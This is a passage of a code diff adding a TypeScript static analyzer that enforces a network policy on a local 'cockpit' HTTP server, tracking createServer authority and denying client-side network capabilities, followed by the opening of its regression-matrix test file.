+ if (imported === CREATE_SERVER && symbol !== undefined) ctx.createServerBindings.add(symbol);
+ else deny(ctx, 'HTTP_CLIENT_CAPABILITY', element);
+ }
+ }
+ if (
+ ts.isImportEqualsDeclaration(statement) &&
+ ts.isExternalModuleReference(statement.moduleReference) &&
+ isHttpSpecifier(statement.moduleReference.expression)
+ ) {
+ deny(ctx, 'HTTP_IMPORT_EQUALS', statement);
+ }
+ if (ts.isExportDeclaration(statement) && isHttpSpecifier(statement.moduleSpecifier) && !statement.isTypeOnly) {
+ const clause = statement.exportClause;
+ const reexportsValue =
+ clause === undefined || ts.isNamespaceExport(clause) || clause.elements.some((element) => !element.isTypeOnly);
+ if (reexportsValue) deny(ctx, 'HTTP_REEXPORT', statement);
+ }
+ }
+ for (const call of ctx.calls) {
+ if (call.expression.kind !== ts.SyntaxKind.ImportKeyword) continue;
+ const [specifier] = call.arguments;
+ const key = specifier === undefined ? INDETERMINATE : resolveStaticKey(ctx, specifier);
+ if (key.kind === 'INDETERMINATE' || isResolvedTo(key, HTTP_MODULE_SPECIFIERS)) deny(ctx, 'HTTP_DYNAMIC_IMPORT', call);
+ }
+}
+
+// ---------------------------------------------------------------------------
+// createServer recognition and listener normalization
+// ---------------------------------------------------------------------------
+
+/** A direct, non-optional call whose callee is a proven createServer binding form. */
+function isProvenCreateServerCall(ctx: Context, node: ts.Node): node is ts.CallExpression {
+ if (!ts.isCallExpression(node) || node.questionDotToken !== undefined) return false;
+ const callee = unwrap(node.expression);
+ if (ts.isIdentifier(callee)) {
+ const symbol = valueSymbolOf(ctx.checker, callee);
+ return symbol !== undefined && ctx.createServerBindings.has(symbol);
+ }
+ if (isMemberAccess(callee) && callee.questionDotToken === undefined) {
+ const receiver = unwrap(callee.expression);
+ if (!ts.isIdentifier(receiver)) return false;
+ const symbol = valueSymbolOf(ctx.checker, receiver);
+ return symbol !== undefined && ctx.httpNamespaces.has(symbol) && isResolvedTo(memberKey(ctx, callee), CREATE_SERVER);
+ }
+ return false;
+}
+
+/** A direct, non-optional call of a confined factory binding. */
+function isConfinedFactoryCall(ctx: Context, node: ts.Node): node is ts.CallExpression {
+ if (!ts.isCallExpression(node) || node.questionDotToken !== undefined) return false;
+ const callee = unwrap(node.expression);
+ if (!ts.isIdentifier(callee)) return false;
+ const symbol = valueSymbolOf(ctx.checker, callee);
+ return symbol !== undefined && ctx.confinedFactories.has(symbol);
+}
+
+/**
+ * The local function a symbol names, when it may receive privileged propagation:
+ * (A) a unique const arrow/function expression, or (B) a unique bodied non-ambient
+ * FunctionDeclaration with zero binder-resolved writes. Never a `this`-parameter function.
+ */
+function eligibleCallee(ctx: Context, symbol: ts.Symbol | undefined): FunctionLike | null {
+ let fn: FunctionLike | null = uniqueFunctionDeclaration(ctx, symbol);
+ if (fn === null) {
+ const constDeclaration = uniqueConstDeclaration(ctx, symbol);
+ const initializer = constDeclaration?.initializer === undefined ? undefined : unwrap(constDeclaration.initializer);
+ if (initializer !== undefined && (ts.isArrowFunction(initializer) || ts.isFunctionExpression(initializer))) {
+ fn = initializer;
+ }
+ }
+ if (fn === null || hasThisParameter(fn)) return null;
+ return fn;
+}
+
+/**
+ * THE parameter-propagation predicate: the parameter symbol that receives a
+ * privileged argument at `argumentIndex` of `call`, or null when the argument
+ * may not be propagated (ineligible callee, spread, rest/pattern/missing parameter).
+ * Governs both fact propagation and call-site escape permission.
+ */
+function resolvePropagationParameter(ctx: Context, call: ts.CallExpression, argumentIndex: number): ts.Symbol | null {
+ if (call.questionDotToken !== undefined) return null;
+ const callee = unwrap(call.expression);
+ if (!ts.isIdentifier(callee)) return null;
+ const fn = eligibleCallee(ctx, valueSymbolOf(ctx.checker, callee));
+ if (fn === null) return null;
+ if (call.arguments.slice(0, argumentIndex + 1).some((argument) => ts.isSpreadElement(argument))) return null;
+ const parameter = fn.parameters[argumentIndex];
+ if (parameter === undefined || parameter.dotDotDotToken !== undefined || !ts.isIdentifier(parameter.name)) return null;
+ return valueSymbolOf(ctx.checker, parameter.name) ?? null;
+}
+
+/** Normalize the sole createServer argument to a listener function, or null. */
+function normalizeListener(ctx: Context, argument: ts.Expression): FunctionLike | null {
+ if (ts.isSpreadElement(argument)) return null;
+ const visited = new Set();
+ let current = unwrap(argument);
+ for (let hop = 0; hop <= LISTENER_HOP_LIMIT; hop += 1) {
+ if (ts.isArrowFunction(current) || ts.isFunctionExpression(current)) return current;
+ if (!ts.isIdentifier(current)) return null;
+ const symbol = valueSymbolOf(ctx.checker, current);
+ if (symbol === undefined || visited.has(symbol)) return null;
+ visited.add(symbol);
+ const constDeclaration = uniqueConstDeclaration(ctx, symbol);
+ if (constDeclaration?.initializer !== undefined) {
+ current = unwrap(constDeclaration.initializer);
+ continue;
+ }
+ return uniqueFunctionDeclaration(ctx, symbol);
+ }
+ return null;
+}
+
+const listenerOf = (ctx: Context, call: ts.CallExpression): FunctionLike | null => {
+ const [argument] = call.arguments;
+ return call.arguments.length === 1 && argument !== undefined ? normalizeListener(ctx, argument) : null;
+};
+
+// ---------------------------------------------------------------------------
+// THE provenance fixpoint
+// ---------------------------------------------------------------------------
+
+interface Fact {
+ readonly authority: AuthorityClass;
+ readonly origin: AuthorityOrigin;
+}
+
+const factKey = (fact: Fact): string => `${fact.authority}:${fact.origin}`;
+
+function addFact(ctx: Context, symbol: ts.Symbol, fact: Fact): boolean {
+ const key = factKey(fact);
+ const facts = ctx.facts.get(symbol);
+ if (facts === undefined) {
+ ctx.facts.set(symbol, new Set([key]));
+ return true;
+ }
+ if (facts.has(key)) return false;
+ facts.add(key);
+ return true;
+}
+
+function factsOf(ctx: Context, symbol: ts.Symbol | undefined): readonly Fact[] {
+ if (symbol === undefined) return [];
+ return [...(ctx.facts.get(symbol) ?? [])].map((key) => {
+ const [authority, origin] = key.split(':') as [AuthorityClass, AuthorityOrigin];
+ return { authority, origin };
+ });
+}
+
+/** Authority classes carried by an expression (createServer result, factory result, or proven identifier). */
+function classesOf(ctx: Context, expression: ts.Expression): ReadonlySet {
+ const node = unwrap(expression);
+ if (isProvenCreateServerCall(ctx, node) || isConfinedFactoryCall(ctx, node)) return new Set(['SERVER']);
+ if (ts.isIdentifier(node)) return new Set(factsOf(ctx, valueSymbolOf(ctx.checker, node)).map((fact) => fact.authority));
+ return new Set();
+}
+
+/** Whether a symbol is SERVER through a non-PARAM origin (root result or alias of one). */
+const hasRootedServer = (ctx: Context, symbol: ts.Symbol | undefined): boolean =>
+ factsOf(ctx, symbol).some((fact) => fact.authority === 'SERVER' && fact.origin !== 'PARAM');
+
+/** Own-body return expressions of a function (not crossing nested function boundaries). */
+function ownReturnExpressions(fn: FunctionLike): readonly (ts.Expression | null)[] {
+ if (fn.body === undefined) return [];
+ if (!ts.isBlock(fn.body)) return [fn.body];
+ const returns: (ts.Expression | null)[] = [];
+ const visit = (node: ts.Node): void => {
+ if (ts.isFunctionLike(node) || ts.isClassLike(node)) return;
+ if (ts.isReturnStatement(node)) returns.push(node.expression ?? null);
+ ts.forEachChild(node, visit);
+ };
+ visit(fn.body);
+ return returns;
+}
+
+function isConfinedReference(id: ts.Identifier): boolean {
+ const { node, parent } = climb(id);
+ if (ts.isCallExpression(parent) && parent.expression === node && parent.questionDotToken === undefined) return true;
+ if (ts.isTypeOfExpression(parent)) return true;
+ if (ts.isExportSpecifier(parent)) return true;
+ if (ts.isExportAssignment(parent) && !parent.isExportEquals) return true;
+ return false;
+}
+
+/**
+ * Factory confinement: an eligible immutable local callee whose every own-body
+ * return is SERVER from a proven createServer call, a confined factory call, or a
+ * confined const SERVER alias not derived from PARAM, and whose binding never
+ * escapes (declaration, direct identifier-callee call, typeof, export of itself).
+ */
+function isConfinedFactory(ctx: Context, symbol: ts.Symbol): boolean {
+ const fn = eligibleCallee(ctx, symbol);
+ if (fn === null || fn.asteriskToken !== undefined) return false;
+ if ((ts.getCombinedModifierFlags(fn) & ts.ModifierFlags.Async) !== 0) return false;
+ const returns = ownReturnExpressions(fn);
+ if (returns.length === 0) return false;
+ for (const returned of returns) {
+ if (returned === null) return false;
+ const value = unwrap(returned);
+ if (isProvenCreateServerCall(ctx, value) || isConfinedFactoryCall(ctx, value)) continue;
+ if (ts.isIdentifier(value)) {
+ const aliasSymbol = valueSymbolOf(ctx.checker, value);
+ const declaration = uniqueConstDeclaration(ctx, aliasSymbol);
+ if (declaration !== null && isConfinedAliasDeclaration(ctx, declaration) && hasRootedServer(ctx, aliasSymbol)) {
+ continue;
+ }
+ }
+ return false;
+ }
+ return (ctx.valueReads.get(symbol) ?? []).every(isConfinedReference);
+}
+
+function fixpointBound(ctx: Context): number {
+ const derived = ctx.declaredSymbols.size * 9 + ctx.functionBindings.size + 1;
+ return Math.min(derived, ctx.fixpointCeiling);
+}
+
+const LISTENER_ROOTS: readonly AuthorityClass[] = ['REQUEST', 'RESPONSE'];
+
+function runFixpoint(ctx: Context): FixpointReport {
+ const bound = fixpointBound(ctx);
+ const createServerCalls = ctx.calls.filter((call) => isProvenCreateServerCall(ctx, call));
+ for (let iteration = 1; iteration <= bound; iteration += 1) {
+ let changed = false;
+ // 1. listener roots
+ for (const call of createServerCalls) {
+ const listener = listenerOf(ctx, call);
+ if (listener === null || hasThisParameter(listener)) continue;
+ LISTENER_ROOTS.forEach((authority, index) => {
+ const parameter = listener.parameters[index];
+ if (parameter === undefined || parameter.dotDotDotToken !== undefined || !ts.isIdentifier(parameter.name)) return;
+ const symbol = valueSymbolOf(ctx.checker, parameter.name);
+ if (symbol !== undefined && addFact(ctx, symbol, { authority, origin: 'ROOT' })) changed = true;
+ });
+ }
+ // 2. const aliases
+ for (const declaration of ctx.variableDeclarations) {
+ if (declaration.initializer === undefined || !ts.isIdentifier(declaration.name)) continue;
+ if (!isConfinedAliasDeclaration(ctx, declaration)) continue;
+ const symbol = valueSymbolOf(ctx.checker, declaration.name);
+ if (symbol === undefined) continue;
+ const initializer = unwrap(declaration.initializer);
+ if (isProvenCreateServerCall(ctx, initializer) || isConfinedFactoryCall(ctx, initializer)) {
+ if (addFact(ctx, symbol, { authority: 'SERVER', origin: 'ROOT' })) changed = true;
+ } else if (ts.isIdentifier(initializer)) {
+ for (const fact of factsOf(ctx, valueSymbolOf(ctx.checker, initializer))) {
+ const origin: AuthorityOrigin = fact.origin === 'PARAM' ? 'PARAM' : 'ALIAS';
+ if (addFact(ctx, symbol, { authority: fact.authority, origin })) changed = true;
+ }
+ }
+ }
+ // 3. factory confinement
+ for (const symbol of ctx.functionBindings) {
+ if (ctx.confinedFactories.has(symbol) || !isConfinedFactory(ctx, symbol)) continue;
+ ctx.confinedFactories.add(symbol);
+ changed = true;
+ }
+ // 4. local parameter propagation
+ for (const call of ctx.calls) {
+ call.arguments.forEach((argument, index) => {
+ const classes = classesOf(ctx, argument);
+ if (classes.size === 0) return;
+ const target = resolvePropagationParameter(ctx, call, index);
+ if (target === null) return;
+ for (const authority of classes) {
+ if (addFact(ctx, target, { authority, origin: 'PARAM' })) changed = true;
+ }
+ });
+ }
+ if (!changed) return { state: 'CONVERGED', iterations: iteration, bound };
+ }
+ return { state: 'EXHAUSTED', iterations: bound, bound };
+}
+
+// ---------------------------------------------------------------------------
+// Phase B: classification against the positive policies
+// ---------------------------------------------------------------------------
+
+const isDirectCallee = (access: ts.Expression): boolean => {
+ const { node, parent } = climb(access);
+ return ts.isCallExpression(parent) && parent.expression === node && parent.questionDotToken === undefined;
+};
+
+const isNumericLiteralAssignment = (access: ts.Expression): boolean => {
+ const { node, parent } = climb(access);
+ return (
+ ts.isBinaryExpression(parent) &&
+ parent.operatorToken.kind === ts.SyntaxKind.EqualsToken &&
+ parent.left === node &&
+ ts.isNumericLiteral(unwrap(parent.right))
+ );
+};
+
+/** Class-specific member policy for a proven target used as the receiver of `access`. */
+function memberAllowed(ctx: Context, authority: AuthorityClass, access: MemberAccess): boolean {
+ if (access.questionDotToken !== undefined) return false;
+ const key = memberKey(ctx, access);
+ switch (authority) {
+ case 'SERVER':
+ return isResolvedTo(key, SERVER_METHODS) && isDirectCallee(access);
+ case 'REQUEST':
+ return isResolvedTo(key, REQUEST_READS) && !isWriteTarget(access);
+ case 'RESPONSE':
+ return (
+ (isResolvedTo(key, RESPONSE_METHODS) && isDirectCallee(access)) ||
+ (isResolvedTo(key, RESPONSE_STATUS) && isNumericLiteralAssignment(access))
+ );
+ }
+}
+
+/** The binding symbol of the function whose own body contains `node`, if that function is a local binding. */
+function enclosingFunctionSymbol(ctx: Context, node: ts.Node): ts.Symbol | undefined {
+ let current: ts.Node = node;
+ while (!ts.isSourceFile(current)) {
+ if (ts.isArrowFunction(current) || ts.isFunctionExpression(current)) {
+ const holder = climb(current).parent;
+ if (ts.isVariableDeclaration(holder) && ts.isIdentifier(holder.name)) return valueSymbolOf(ctx.checker, holder.name);
+ return undefined;
+ }
+ if (ts.isFunctionDeclaration(current)) {
+ return current.name === undefined ? undefined : valueSymbolOf(ctx.checker, current.name);
+ }
+ if (ts.isFunctionLike(current) || ts.isClassLike(current)) return undefined;
+ current = current.parent;
+ }
+ return undefined;
+}
+
+/** Apply the positive policy of every class carried by `expression` at its use site. */
+function checkTargetUse(ctx: Context, expression: ts.Expression, classes: ReadonlySet): void {
+ const { node, parent } = climb(expression);
+ const violate = (violation: UseViolation): void => {
+ for (const authority of classes) deny(ctx, `${authority}_${violation}`, node);
+ };
+ if (isWriteTarget(node)) {
+ const direct = ts.isBinaryExpression(parent) || isUpdateExpression(parent) || ts.isDeleteExpression(parent);
+ violate(direct ? 'WRITE' : 'DESTRUCTURING');
+ return;
+ }
+ if (ts.isExpressionStatement(parent) || ts.isVoidExpression(parent) || ts.isTypeOfExpression(parent)) return;
+ if (ts.isVariableDeclaration(parent) && parent.initializer === node) {
+ if (!ts.isIdentifier(parent.name)) violate('DESTRUCTURING');
+ else if (isExported(parent)) violate('EXPORT');
+ else if (!isConfinedAliasDeclaration(ctx, parent)) violate('MUTABLE_BINDING');
+ return;
+ }
+ if (ts.isReturnStatement(parent) || (ts.isArrowFunction(parent) && parent.body === node)) {
+ const fnSymbol = enclosingFunctionSymbol(ctx, parent);
+ const confined = fnSymbol !== undefined && ctx.confinedFactories.has(fnSymbol);
+ if (!confined || [...classes].some((authority) => authority !== 'SERVER')) violate('UNCONFINED_RETURN');
+ return;
+ }
+ if (ts.isCallExpression(parent) && parent.expression !== node) {
+ const index = parent.arguments.findIndex((argument) => argument === node);
+ if (index === -1 || resolvePropagationParameter(ctx, parent, index) === null) violate('ESCAPE');
+ return;
+ }
+ if (isMemberAccess(parent) && parent.expression === node) {
+ if (![...classes].every((authority) => memberAllowed(ctx, authority, parent))) violate('MEMBER');
+ return;
+ }
+ if (ts.isExportSpecifier(parent) || ts.isExportAssignment(parent)) {
+ violate('EXPORT');
+ return;
+ }
+ if (
+ ts.isBinaryExpression(parent) &&
+ parent.operatorToken.kind === ts.SyntaxKind.EqualsToken &&
+ parent.right === node &&
+ (ts.isArrayLiteralExpression(unwrap(parent.left)) || ts.isObjectLiteralExpression(unwrap(parent.left)))
+ ) {
+ violate('DESTRUCTURING');
+ return;
+ }
+ violate('ESCAPE');
+}
+
+function checkCreateServerCall(ctx: Context, call: ts.CallExpression): void {
+ if (call.arguments.length !== 1) {
+ deny(ctx, 'CREATE_SERVER_ARITY', call);
+ } else {
+ const listener = listenerOf(ctx, call);
+ if (listener === null) deny(ctx, 'LISTENER_NOT_FUNCTION', call);
+ else if (hasThisParameter(listener)) deny(ctx, 'LISTENER_THIS_PARAMETER', listener);
+ else {
+ for (const parameter of listener.parameters.slice(0, 2)) {
+ if (parameter.dotDotDotToken !== undefined || !ts.isIdentifier(parameter.name)) {
+ deny(ctx, 'LISTENER_PARAMETER_PATTERN', parameter);
+ }
+ }
+ }
+ }
+ checkTargetUse(ctx, call, new Set(['SERVER']));
+}
+
+function checkHttpNamespaceUse(ctx: Context, id: ts.Identifier): void {
+ const { node, parent } = climb(id);
+ if (!isMemberAccess(parent) || parent.expression !== node) {
+ deny(ctx, 'HTTP_NAMESPACE_ESCAPE', node);
+ return;
+ }
+ const key = memberKey(ctx, parent);
+ if (key.kind === 'INDETERMINATE') {
+ deny(ctx, 'HTTP_NAMESPACE_RUNTIME_KEY', parent);
+ return;
+ }
+ if (!isResolvedTo(key, CREATE_SERVER)) {
+ deny(ctx, 'HTTP_CLIENT_CAPABILITY', parent);
+ return;
+ }
+ const use = climb(parent);
+ if (ts.isNewExpression(use.parent) && use.parent.expression === use.node) {
+ deny(ctx, 'CREATE_SERVER_NEW', use.parent);
+ return;
+ }
+ const directlyCalled =
+ ts.isCallExpression(use.parent) &&
+ use.parent.expression === use.node &&
+ use.parent.questionDotToken === undefined &&
+ parent.questionDotToken === undefined;
+ if (!directlyCalled) deny(ctx, 'CREATE_SERVER_NOT_CALLED', parent);
+}
+
+function checkCreateServerBindingUse(ctx: Context, id: ts.Identifier): void {
+ const { node, parent } = climb(id);
+ if (ts.isNewExpression(parent) && parent.expression === node) deny(ctx, 'CREATE_SERVER_NEW', parent);
+ else if (!ts.isCallExpression(parent) || parent.expression !== node || parent.questionDotToken !== undefined) {
+ deny(ctx, 'CREATE_SERVER_ESCAPE', node);
+ }
+}
+
+/** Shared verdict for a key read off a global receiver; `onSelfHop` handles a resolved global-root key. */
+function checkGlobalKey(ctx: Context, key: StaticKey, at: ts.Node, onSelfHop: () => void): void {
+ if (key.kind === 'INDETERMINATE') deny(ctx, 'GLOBAL_RECEIVER_RUNTIME_KEY', at);
+ else if (isResolvedTo(key, NETWORK_GLOBAL_NAMES)) deny(ctx, 'GLOBAL_RECEIVER_NETWORK_MEMBER', at);
+ else if (isResolvedTo(key, GLOBAL_RECEIVER_NAMES)) onSelfHop();
+}
+
+function checkGlobalBindingPattern(ctx: Context, pattern: ts.BindingPattern): void {
+ if (ts.isArrayBindingPattern(pattern)) {
+ deny(ctx, 'GLOBAL_RECEIVER_DESTRUCTURING', pattern);
+ return;
+ }
+ for (const element of pattern.elements) {
+ if (element.dotDotDotToken !== undefined) {
+ deny(ctx, 'GLOBAL_RECEIVER_DESTRUCTURING', element);
+ continue;
+ }
+ let key: StaticKey = INDETERMINATE;
+ if (element.propertyName !== undefined) key = resolvePropertyName(ctx, element.propertyName);
+ else if (ts.isIdentifier(element.name)) key = foldKey(element.name.text);
+ checkGlobalKey(ctx, key, element, () => {
+ if (isBindingPattern(element.name)) checkGlobalBindingPattern(ctx, element.name);
+ else deny(ctx, 'GLOBAL_RECEIVER_ESCAPE', element);
+ });
+ }
+}
+
+function checkGlobalAssignmentPattern(ctx: Context, target: ts.Expression): void {
+ const literal = unwrap(target);
+ if (!ts.isObjectLiteralExpression(literal)) {
+ deny(ctx, 'GLOBAL_RECEIVER_DESTRUCTURING', literal);
+ return;
+ }
+ for (const property of literal.properties) {
+ if (ts.isShorthandPropertyAssignment(property)) {
+ checkGlobalKey(ctx, foldKey(property.name.text), property, () => {
+ deny(ctx, 'GLOBAL_RECEIVER_ESCAPE', property);
+ });
+ } else if (ts.isPropertyAssignment(property)) {
+ checkGlobalKey(ctx, resolvePropertyName(ctx, property.name), property, () => {
+ const nested = unwrap(property.initializer);
+ if (ts.isObjectLiteralExpression(nested) || ts.isArrayLiteralExpression(nested)) {
+ checkGlobalAssignmentPattern(ctx, nested);
+ } else deny(ctx, 'GLOBAL_RECEIVER_ESCAPE', property);
+ });
+ } else deny(ctx, 'GLOBAL_RECEIVER_DESTRUCTURING', property);
+ }
+}
+
+/** A free global receiver root (or a static self-hop from one) may only be read through static, non-network keys. */
+function checkGlobalReceiverUse(ctx: Context, expression: ts.Expression): void {
+ const { node, parent } = climb(expression);
+ if (ts.isExpressionStatement(parent) || ts.isVoidExpression(parent) || ts.isTypeOfExpression(parent)) return;
+ if (isMemberAccess(parent) && parent.expression === node) {
+ checkGlobalKey(ctx, memberKey(ctx, parent), parent, () => {
+ checkGlobalReceiverUse(ctx, parent);
+ });
+ return;
+ }
+ if (ts.isVariableDeclaration(parent) && parent.initializer === node) {
+ if (isBindingPattern(parent.name)) checkGlobalBindingPattern(ctx, parent.name);
+ else deny(ctx, 'GLOBAL_RECEIVER_ESCAPE', node);
+ return;
+ }
+ if (ts.isBinaryExpression(parent) && parent.operatorToken.kind === ts.SyntaxKind.EqualsToken && parent.right === node) {
+ const left = unwrap(parent.left);
+ if (ts.isObjectLiteralExpression(left) || ts.isArrayLiteralExpression(left)) checkGlobalAssignmentPattern(ctx, left);
+ else deny(ctx, 'GLOBAL_RECEIVER_ESCAPE', node);
+ return;
+ }
+ deny(ctx, 'GLOBAL_RECEIVER_ESCAPE', node);
+}
+
+function checkFreeGlobal(ctx: Context, id: ts.Identifier): void {
+ if (id.text === 'arguments') deny(ctx, 'ARGUMENTS_USE', id);
+ else if (NETWORK_GLOBAL_NAMES.has(id.text)) deny(ctx, 'FREE_GLOBAL_NETWORK', id);
+ else if (GLOBAL_RECEIVER_NAMES.has(id.text)) checkGlobalReceiverUse(ctx, id);
+}
+
+function classify(ctx: Context): void {
+ for (const node of ctx.thisExpressions) deny(ctx, 'THIS_EXPRESSION', node);
+ for (const id of ctx.unboundValueReads) checkFreeGlobal(ctx, id);
+ for (const [symbol, reads] of ctx.valueReads) {
+ if (!isRuntimeShadowed(symbol)) {
+ for (const id of reads) checkFreeGlobal(ctx, id);
+ }
+ if (ctx.httpNamespaces.has(symbol)) for (const id of reads) checkHttpNamespaceUse(ctx, id);
+ if (ctx.createServerBindings.has(symbol)) for (const id of reads) checkCreateServerBindingUse(ctx, id);
+ const classes = new Set(factsOf(ctx, symbol).map((fact) => fact.authority));
+ if (classes.size > 0) for (const id of reads) checkTargetUse(ctx, id, classes);
+ }
+ for (const call of ctx.calls) {
+ if (isProvenCreateServerCall(ctx, call)) checkCreateServerCall(ctx, call);
+ else if (isConfinedFactoryCall(ctx, call)) checkTargetUse(ctx, call, new Set(['SERVER']));
+ }
+}
+
+// ---------------------------------------------------------------------------
+// Entry points
+// ---------------------------------------------------------------------------
+
+function createContext(source: string, options: NetworkPolicyOptions): Context {
+ const { sourceFile, checker } = createProgram(source);
+ return {
+ sourceFile,
+ checker,
+ findings: [],
+ valueReads: new Map(),
+ unboundValueReads: [],
+ declaredSymbols: new Set(),
+ writeCounts: new Map(),
+ httpNamespaces: new Set(),
+ createServerBindings: new Set(),
+ calls: [],
+ variableDeclarations: [],
+ functionBindings: new Set(),
+ thisExpressions: [],
+ facts: new Map(),
+ confinedFactories: new Set(),
+ keyMemo: new Map(),
+ keyWork: 0,
+ fixpointCeiling: options.fixpointCeiling ?? DEFAULT_FIXPOINT_CEILING,
+ };
+}
+
+function finish(ctx: Context, fixpoint: FixpointReport): NetworkPolicyResult {
+ const reasons = [...new Set(ctx.findings.map((finding) => finding.reason))].sort();
+ return { verdict: reasons.length === 0 ? 'ALLOW' : 'DENY', reasons, findings: [...ctx.findings], fixpoint };
+}
+
+/** Primitive access for direct mechanism tests; the verdict path is `analyzeNetworkPolicy`. */
+export interface NetworkPolicyInspection {
+ readonly sourceFile: ts.SourceFile;
+ readonly checker: ts.TypeChecker;
+ readonly result: NetworkPolicyResult;
+ readonly valueSymbolOf: (node: ts.Node) => ts.Symbol | undefined;
+ readonly resolveStaticKey: (expression: ts.Expression) => StaticKey;
+ readonly writeCountOf: (symbol: ts.Symbol) => number;
+ readonly factsOf: (symbol: ts.Symbol) => readonly string[];
+ readonly isConfinedFactory: (symbol: ts.Symbol) => boolean;
+ readonly declaredSymbolCount: number;
+ readonly fixpointBound: number;
+}
+
+function analyze(source: string, options: NetworkPolicyOptions): { ctx: Context; result: NetworkPolicyResult } {
+ const ctx = createContext(source, options);
+ collect(ctx, ctx.sourceFile);
+ buildWriteInventory(ctx);
+ collectHttpImports(ctx);
+ const fixpoint = runFixpoint(ctx);
+ if (fixpoint.state === 'EXHAUSTED') {
+ deny(ctx, 'FIXPOINT_EXHAUSTED', ctx.sourceFile);
+ return { ctx, result: finish(ctx, fixpoint) };
+ }
+ classify(ctx);
+ return { ctx, result: finish(ctx, fixpoint) };
+}
+
+/** Analyze one TypeScript source file against the frozen D3 network policy. */
+export function analyzeNetworkPolicy(source: string, options: NetworkPolicyOptions = {}): NetworkPolicyResult {
+ return analyze(source, options).result;
+}
+
+export function inspectNetworkPolicy(source: string, options: NetworkPolicyOptions = {}): NetworkPolicyInspection {
+ const { ctx, result } = analyze(source, options);
+ return {
+ sourceFile: ctx.sourceFile,
+ checker: ctx.checker,
+ result,
+ valueSymbolOf: (node) => valueSymbolOf(ctx.checker, node),
+ resolveStaticKey: (expression) => resolveStaticKey(ctx, expression),
+ writeCountOf: (symbol) => writeCount(ctx, symbol),
+ factsOf: (symbol) => [...(ctx.facts.get(symbol) ?? [])].sort(),
+ isConfinedFactory: (symbol) => ctx.confinedFactories.has(symbol),
+ declaredSymbolCount: ctx.declaredSymbols.size,
+ fixpointBound: fixpointBound(ctx),
+ };
+}
diff --git a/tests/cockpit-host/support/d3-regression-matrix.ts b/tests/cockpit-host/support/d3-regression-matrix.ts
new file mode 100644
index 0000000..ed92762
--- /dev/null
+++ b/tests/cockpit-host/support/d3-regression-matrix.ts
@@ -0,0 +1,952 @@
+/**
+ * Cockpit D3 network policy — semantic regression matrix.
+ *
+ * Data-driven rows grouped into the eighteen frozen semantic categories. Each
+ * row carries one of three expectations:
+ *
+ * MUST_DENY the policy must reject the source; every listed
+ * reason code must be present in the result
+ * MUST_ALLOW the policy must accept the source
+ * OUTSIDE_DECLARED_BOUNDARY the source exercises a mechanism the single-file
+ * policy does not claim (module graph, runtime
+ * interpretation, prototype graph, RC/HA territory);
+ * the analyzer must terminate, nothing more
+ *
+ * The rows are compact witnesses of policy *semantics*, not an enumeration of
+ * spellings. A `closes` tag names the PR #64 finding a row structurally closes.
+ */
+
+import type { NetworkPolicyOptions, ReasonCode } from './d3-network-policy.js';
+
+export type RegressionCategory =
+ | 'free-global identity'
+ | 'node:http namespace/client capability'
+ | 'static/computed keys'
+ | 'shorthand value binding'
+ | 'socket acquisition through proven target policy'
+ | 'runtime keys'
+ | 'alias propagation'
+ | 'local function propagation'
+ | 'callee immutability'
+ | 'mutation/reflection'
+ | 'createServer listener boundary'
+ | 'options argument DENY'
+ | 'factory confinement'
+ | 'result confinement'
+ | 'export confinement'
+ | 'convergence/exhaustion'
+ | 'extra parameter false positives'
+ | 'real host acceptance';
+
+export const REGRESSION_CATEGORIES: readonly RegressionCategory[] = [
+ 'free-global identity',
+ 'node:http namespace/client capability',
+ 'static/computed keys',
+ 'shorthand value binding',
+ 'socket acquisition through proven target policy',
+ 'runtime keys',
+ 'alias propagation',
+ 'local function propagation',
+ 'callee immutability',
+ 'mutation/reflection',
+ 'createServer listener boundary',
+ 'options argument DENY',
+ 'factory confinement',
+ 'result confinement',
+ 'export confinement',
+ 'convergence/exhaustion',
+ 'extra parameter false positives',
+ 'real host acceptance',
+];
+
+export type Expectation = 'MUST_DENY' | 'MUST_ALLOW' | 'OUTSIDE_DECLARED_BOUNDARY';
+export type Pr64Finding = 'F-1' | 'F-2' | 'F-3' | 'F-4' | 'F-5' | 'F-6' | 'F-7';
+
+export interface RegressionRow {
+ readonly category: RegressionCategory;
+ readonly name: string;
+ readonly source: string;
+ readonly expectation: Expectation;
+ /** MUST_DENY only: every listed reason must appear in the result. */
+ readonly reasons?: readonly ReasonCode[];
+ readonly options?: NetworkPolicyOptions;
+ readonly closes?: readonly Pr64Finding[];
+}
+
+// ---------------------------------------------------------------------------
+// Source fragments
+// ---------------------------------------------------------------------------
+
+const NS = `import http from 'node:http';`;
+const STAR = `import * as http from 'node:http';`;
+const NAMED = `import { createServer } from 'node:http';`;
+const L = `(request: http.IncomingMessage, response: http.ServerResponse) => { response.end('ok'); }`;
+const L_PLAIN = `(request, response) => { response.end('ok'); }`;
+
+/** A namespace-imported host with a listener whose body is `body`. */
+const inListener = (body: string): string => `${NS}\nhttp.createServer((request, response) => {\n ${body}\n});`;
+
+/** A namespace-imported host holding the proven server in `server`, followed by `rest`. */
+const withServer = (rest: string): string => `${NS}\nconst server = http.createServer(${L});\n${rest}`;
+
+/** The real host's exported confined factory plus `rest`. */
+const withFactory = (rest: string): string =>
+ `${NS}\nexport function createCockpitServer(): http.Server {\n return http.createServer(${L});\n}\n${rest}`;
+
+/** A reverse-ordered propagation chain: `f1(response)` reaches `fN` only after N fixpoint passes. */
+const reverseChain = (length: number): string => {
+ const functions: string[] = [];
+ for (let index = length; index >= 1; index -= 1) {
+ const body = index === length ? 'res.end();' : `f${String(index + 1)}(res);`;
+ functions.push(`function f${String(index)}(res: http.ServerResponse): void { ${body} }`);
+ }
+ return `${NS}\n${functions.join('\n')}\nhttp.createServer((request, response) => { f1(response); });`;
+};
+
+const REAL_HOST_SHAPE = `${NS}
+import { pathToFileURL } from 'node:url';
+
+export const HOST = '127.0.0.1';
+export const PORT = 4317;
+const CONTENT_SECURITY_POLICY = "default-src 'none'";
+const STYLES = 'body{}';
+
+function applySecurityHeaders(response: http.ServerResponse): void {
+ response.setHeader('Content-Security-Policy', CONTENT_SECURITY_POLICY);
+ response.setHeader('X-Content-Type-Options', 'nosniff');
+}
+
+export function buildDashboardHtml(): string {
+ return '';
+}
+
+function pathOf(url: string): string {
+ const queryIndex = url.indexOf('?');
+ return queryIndex === -1 ? url : url.slice(0, queryIndex);
+}
+
+export function createCockpitServer(): http.Server {
+ const page = buildDashboardHtml();
+ return http.createServer((request: http.IncomingMessage, response: http.ServerResponse): void => {
+ applySecurityHeaders(response);
+ const method = request.method ?? '';
+ if (method !== 'GET') {
+ response.statusCode = 405;
+ response.setHeader('Allow', 'GET');
+ response.end('405 Method Not Allowed');
+ return;
+ }
+ const path = pathOf(request.url ?? '');
